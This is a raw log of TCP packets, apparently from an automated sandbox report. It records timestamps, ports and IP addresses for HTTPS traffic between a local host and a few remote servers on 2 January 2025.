Jan 2, 2025 20:28:41.767321110 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.058680058 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.058779955 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.059240103 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.059290886 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.059503078 CET	443	50011	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.059565067 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.059581041 CET	50011	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.059909105 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.059969902 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.060117006 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.060386896 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.060424089 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.098551035 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.098603964 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.098625898 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.098659992 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.098674059 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.098692894 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.098701000 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.098733902 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.098740101 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.098788023 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.099490881 CET	50012	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.099507093 CET	443	50012	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.099981070 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.100008011 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.100128889 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.100366116 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.100375891 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.109488010 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.109551907 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.109561920 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.109601021 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.109621048 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.109632015 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.109656096 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.109662056 CET	443	50015	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.109694004 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.109694004 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.109711885 CET	50015	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.110146999 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.110156059 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.110222101 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.110399961 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.110409975 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.240988970 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.241036892 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.241149902 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.241178989 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.241235018 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.242206097 CET	50014	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.242230892 CET	443	50014	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.242837906 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.242883921 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.243489027 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.243782997 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.243794918 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.693454027 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.693551064 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.695394039 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.695451975 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.699196100 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.699208975 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.699836016 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.699911118 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.700262070 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.747358084 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.762434006 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.762526035 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.762828112 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.762916088 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.763194084 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.763268948 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.763413906 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.763421059 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.763626099 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.763631105 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.765069962 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.765075922 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.765319109 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.766263962 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.766592026 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:42.811331034 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:42.875533104 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.879005909 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.879443884 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.879448891 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:42.879638910 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:42.879647017 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.091192007 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.095005035 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095027924 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.095079899 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095176935 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095221043 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.095396042 CET	443	50023	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.095448971 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095464945 CET	50023	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095822096 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.095843077 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.095905066 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.096112013 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.096122980 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.152043104 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.152124882 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.152139902 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.152223110 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.152283907 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.152318954 CET	443	50025	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.152368069 CET	50025	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.152878046 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.152918100 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.155023098 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.155283928 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.155292988 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.190354109 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.190392971 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.190449953 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.190459967 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.190499067 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.190504074 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.190546989 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.191262007 CET	50024	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.191273928 CET	443	50024	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.191785097 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.191802025 CET	443	50039	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.191854954 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.192058086 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.192066908 CET	443	50039	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.351198912 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.351248026 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.351295948 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.351324081 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.351335049 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.351375103 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.351396084 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.351428032 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.352845907 CET	50027	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.352859974 CET	443	50027	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.353502035 CET	50040	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.353532076 CET	443	50040	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.353610992 CET	50040	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.353823900 CET	50040	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.353840113 CET	443	50040	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.761672020 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.761753082 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.762433052 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.762494087 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.764497995 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.764504910 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.764785051 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.764875889 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.765266895 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.796284914 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.796371937 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.797060966 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.797127962 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.798913956 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.798929930 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.799238920 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.799299002 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.799755096 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.807342052 CET	443	50036	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.847332954 CET	443	50037	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.852960110 CET	443	50039	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.853029966 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.856252909 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.856265068 CET	443	50039	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.858118057 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.858124018 CET	443	50039	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:43.993546963 CET	50040	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.993604898 CET	50036	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.993670940 CET	50037	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.993690968 CET	50039	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:43.994577885 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.994620085 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.994708061 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.994786024 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.994832039 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.994885921 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.995063066 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.995078087 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:43.995172024 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:43.995187998 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.642133951 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.642205954 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.643043041 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.643059015 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.645915985 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.645922899 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.646117926 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.646182060 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.646779060 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.646790028 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:44.646929979 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:44.646934986 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.054991961 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.055097103 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.055131912 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.055191994 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.055250883 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.055288076 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.055341005 CET	443	50046	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.055341959 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.055387020 CET	50046	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.055947065 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.055984974 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.056045055 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.056128979 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.056137085 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.056190968 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.056327105 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.056339979 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.056535006 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.056544065 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.060662031 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.060718060 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.060725927 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.060735941 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.060765982 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.060789108 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.060863972 CET	50047	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.060875893 CET	443	50047	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.061342001 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.061388016 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.061445951 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.061568022 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.061575890 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.061630964 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.061774969 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.061789036 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.061885118 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.061898947 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.416982889 CET	80	49735	69.42.215.252	192.168.2.6
Jan 2, 2025 20:28:45.417069912 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:28:45.692054987 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.692140102 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.692703962 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.692709923 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.692962885 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.692966938 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.711172104 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.711276054 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.711788893 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.711885929 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.712711096 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.712718010 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.712920904 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:45.712925911 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:45.715492964 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.715500116 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.715790033 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.715856075 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.716173887 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.717346907 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.717430115 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.718889952 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.718899012 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.719156981 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.719221115 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.719563961 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:45.759332895 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:45.767347097 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.080807924 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.080919981 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.081068039 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.081121922 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.081291914 CET	443	50055	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.081357956 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.081372976 CET	50055	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.081835032 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.081867933 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.081933022 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.082165003 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.082181931 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.106477022 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.108695984 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.108818054 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.108952045 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.108963013 CET	443	50057	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.108978987 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.109023094 CET	50057	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.109611988 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.109661102 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.109726906 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.109970093 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.109982967 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.135699987 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.135741949 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.135755062 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.135766029 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.135798931 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.135829926 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.135834932 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.135878086 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.135905027 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.135917902 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.137217045 CET	50056	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.137232065 CET	443	50056	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.137826920 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.137846947 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.137897968 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.138122082 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.138138056 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.304469109 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.304517984 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.304584026 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.304599047 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.304627895 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.304642916 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.304676056 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.305809021 CET	50054	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.305830002 CET	443	50054	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.306350946 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.306382895 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.306457043 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.306744099 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.306756973 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.729238987 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.729312897 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.730017900 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.730078936 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.733654022 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.733664989 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.733930111 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.733989000 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.734322071 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.775332928 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.787077904 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.787180901 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.788064957 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.788129091 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.790016890 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.790038109 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.790353060 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.790410042 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.790803909 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:46.813529015 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.813591957 CET	50068	443	192.168.2.6	142.250.185.65
